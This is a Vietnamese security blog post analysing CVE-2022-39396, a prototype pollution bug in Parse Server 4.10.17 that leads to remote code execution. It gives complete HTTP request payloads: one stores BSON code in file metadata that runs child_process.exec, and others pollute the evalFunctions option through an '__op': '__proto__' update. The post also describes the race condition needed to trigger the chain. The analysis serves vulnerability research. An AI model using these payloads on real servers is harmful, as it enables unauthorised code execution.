Post

CVE-2022-39396 Prototype pollution leads to RCE in Parse Server

Phân tích lỗi CVE-2022-39396

Overview

Lỗi CVE-2022-39396 tồn tại ở Parse Server phiên bản (<4.10.18) và (>=5.0.0 <5.3.1). Chi tiết lỗ hổng có thể xem ở đây

Patch

Đối với bản 4. lỗi được vá ở bản 4.10.18, do đó bài viết này mình sử dụng bản lỗi 4.10.17. Đoạn code dùng để patch có thể xem ở đây image.

Phân tích

Bản patch thực hiện vá lỗi ở hàm downloadFileFromURI ở file FileRouter.js, hàm này handle cc request liên quan đến file của Parse-Server. Thông qua đoạn patch, có thể thấy lỗi này dựa trên việc chèn bson code vào mongodb để thực hiện RCE. Tuy nhiên bản patch chỉ vá lỗi đưa RCE payload vào, vậy lỗi PP vẫn tồn tại ?

RCE flow

Một lỗi trước đây liên quan đến bson code ngay trên Parse Server mình tìm được ở đây. Dựa theo nội dung writeups, flow RCE thực hiện khá đơn giản

  • Đưa bson code vào MongoDB thông qua trường metadata hoặc tags của file trên Parse Server
  • Lợi dụng lỗi Prototype Polluion để bật tùy chọn evalFunctions
  • Khi lấy file từ Parse Server, hàm deserializeObjectnode_modules\bson\lib\bson\parser\deserializer.js được kích hoạt

image

Khi evalFunctions được kích hoạt, chương trình gọi tới hàm isolateEval với functionString là bson code bên trong metadata hoặc tags của file. Bên trong hàm này thực hiện eval bson code dẫn đến RCE

image

Các bước hoàn chỉnh để khai thác luồng RCE như sau

  • Tạo file chứa metadata mang theo bson code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /parse/files/testxx.txt HTTP/1.1
User-Agent: node-XMLHttpRequest, Parse/js3.5.1 (NodeJS 16.17.1)
Accept: */*
Content-Type: text/plain
Host: localhost:5000
Content-Length: 349
Connection: close

{
    "base64": "SGVsbG8gV29ybGQh",
    "fileData": {
        "metadata": {
            "_bsontype": "Code",
            "code": "delete ({}).__proto__.evalFunctions; require('child_process').exec('calc')"
        },
        "tags": {}
    },
    "_MasterKey": "xxx",
    "_ContentType": "text/plain",
    "_ApplicationId": "APP_ID",
    "_JavaScriptKey": "xx",
    "_ClientVersion": "js3.5.1",
    "_InstallationId": "4c1b93bc-37e3-4052-b9ed-10617e7b9808"
}
  • Kích hoạt RCE thông qua request lấy file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /parse/files/APP_ID/metadata/f9663e09e21b63f40d2dc17b452239f7_testxx.txt HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Not;A=Brand";v="99", "Chromium";v="106"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Parse-Master-Key: MASTER_KEY
X-Parse-Application-Id: APP_ID
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


Prototype Pollution flow

Bản patch không chứa đoạn vá lỗi Prototype Pollution, may mắn thay lỗ hổng này được report thông qua ZDI. Do đó advisory của ZDI chứa thêm thông tin cần thiết.

image

Hàm transformUpdateparse-server-4.10.17\lib\Adapters\Storage\Mongo\MongoTransform.js chứa sink dẫn đến lỗi Prototype Pollution

image

Để PP cần thỏa mãn điều kiện

  • out.value.__op == ‘__proto__’
  • out.key == ‘evalFunctions’
  • out.value.arg == 1

Hàm transformUpdate được gọi ở hàm updateObjectsByQuery

image

Xem tên hàm dễ dàng đoán được rằng hàm được gọi khi thực hiện update object trên Parse Server. Kết hợp debug nhận thấy rằng dự đoán là chính xác, việc còn lại là kiểm tra mình có thể control được những trường nào. Tạo một object ở class PP bằng request sau

1
2
3
4
5
6
7
8
9
10
POST /parse/classes/PP HTTP/1.1
User-Agent: node-XMLHttpRequest, Parse/js3.5.1 (NodeJS 16.18.1)
Accept: */*
Content-Type: text/plain
Host: localhost:5000
Content-Length: 187
Connection: close

{"applicantName":"Joe Smith","test":{"name":"xxasd"},
"_ApplicationId":"APP_ID","_JavaScriptKey":"xx","_ClientVersion":"js3.5.1","_InstallationId":"69d92c17-f900-4a18-8491-274b963cd9c2"}

sử dụng objectId trả về trong response để update object này

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PUT /parse/classes/PP/ECjcw782EJ HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Not;A=Brand";v="99", "Chromium";v="106"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
X-Parse-Application-Id: APP_ID
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 67

{"applicantName":"Joe Smith","test":{"name":"xxasd",
"asd":"zzz"}}

thấy rằng breakpoint ở hàm transformUpdate hit. Toàn bộ các trường mình cần control thuộc biến out, biến này được set giá trị qua hàm transformKeyValueForUpdate

image

Trường value của out được set qua hàm transformTopLevelAtom

image

Do lỗ hổng liên quan đến file do đó hàm FileCoder.JSONToDatabase(atom) khiến mình để ý, bên trong hàm này return luôn giá trị atom.name, để vào được hàm này hàm FileCoder.isValidJSON(atom) cần trả về true.

image

Như vậy object của mình khi thực hiện update cần có dạng như sau để out.value nhận giá trị từ hàm FileCoder.JSONToDatabase(atom)

1
2
3
4
5
6
7
8
9
{
    "applicantName": "Joe Smith",
    "anyProp": {
        "__type": "File",
        "name": {
            "xxxx": "aaa"
        },
    }
}

Với payload như trên thì out.key = “anyProp” và out.value={“xxxx”: “aaa”} => đã control được các trường cần thiết, vậy bước hoàn chỉnh để khai thác prototype pollution như sau

  • Đầu tiên tạo một object mới với 1 thuộc tính “evalFunctions”
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    {
      "applicantName": "Joe Smith",
      "evalFunctions": {
          "__type": "File",
          "name": "asdasd"
      },
      "_ApplicationId": "APP_ID",
      "_JavaScriptKey": "xx",
      "_ClientVersion": "js3.5.1",
      "_InstallationId": "69d92c17-f900-4a18-8491-274b963cd9c2"
    }
    
  • Update object trên bằng objectId trả về từ response
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    {
      "applicantName": "Joe Smith",
      "evalFunctions": {
          "__type": "File",
          "name": {
              "__op": "__proto__",
              "arg": 1
          }
      }
    }
    

Race condition

Sau khi khai thác lỗi PP, ngay lập tức hệ thống trả về lỗi như bên dưới

image

Vì vậy để khai thác lỗi này Parse Server cần phải chạy dưới dạng nhiều cluster (–cluster), trong khi thực hiện bắn liên tục request lấy thông tin file để trigger RCE, cần kích hoạt một số request trigger lỗi Prototype Pollution.

POC

ezgif com-gif-maker (3)

REFERENCES

https://github.com/tuo4n8/CVE-2022-24760

https://www.huntr.dev/bounties/ac24b343-e7da-4bc7-ab38-4f4f5cc9d099/

https://sec.vnpt.vn/2022/11/phan-tich-lo-hong-parse-server-prototype-pollution-remote-code-execution-cve-2022-39396/

This post is licensed under CC BY 4.0 by the author.